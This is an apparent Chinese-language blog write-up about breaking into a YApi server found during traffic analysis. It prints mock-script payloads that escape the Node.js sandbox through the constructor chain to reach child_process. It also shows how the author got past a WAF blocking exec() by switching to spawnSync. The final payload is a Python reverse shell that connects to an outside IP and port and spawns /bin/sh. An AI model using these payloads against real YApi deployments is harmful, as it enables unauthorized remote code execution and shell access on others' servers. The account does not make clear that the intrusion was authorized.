疫情在家办公,这时接到boss的电话说要做一个流量分析,老板发话干就干。对恶意告警分析差不多了,没事翻一翻流量,结果意外发现一个大宝贝!就这样开始了与Yapi的美丽邂逅。
高兴之余赶紧注册账户,写入恶意脚本。
const sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const myfun = FunctionConstructor('return process') const process = myfun() mockJson = process.mainModule.require("child_process").execSync(“whoami”)
当激动的点击保存脚本的时候发现浏览器并没有反应,起初以为是管理员禁用了保存功能,后来随便保存一串字符结果显示保存成功,看看浏览器 ajax 请求原来是保存恶意脚本 的请求被拒绝了,怪不得恶意攻击的流量里没有发现这个资产,原来是有 waf 进行防御的。既然来了就不能放过,分段保存恶意脚本,经过一步一步的尝试最后定位被拦截是因为 识别到了 exec()。 该恶意脚本为 nodjs 脚本,翻一翻官方文档看到了以下内容:
原来最后那一行是起到了在windows上衍生.bat和.cmd文件的作用。
既然child_process.execSync()被禁那尝试使用spaw()替代尝试是否可绕过。点击保存显示保存成功。赶紧访问保存的恶意脚本进行反弹shell结果vps半天没消息,就在怀疑该主机是否不出网的时候被叫吃中午饭了,暂放一阶段。
吃完饭回来理了理思路,突然发现文档中exec()与spaw()语法是有区别的exec()可以直接行的命令和参数写进去比如.exec(ping 17 2 .2 3 .24.171 -c 4)而 span()只能 span(ping[‘17 2 .2 3 .24.171’,’-c’,’4’]),span()的命令和参数是分开的。
用nc进行反弹结果等了个寂寞,用python进行反弹,点击保存并访问脚本,结果啪唧一下很突然:
最后的脚本
const sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const myfun = FunctionConstructor('return process') const process = myfun() Poc=process.mainModule.require("child_process").spawnSync(‘python’[‘c’,’'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.23.24.171",6665));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'’])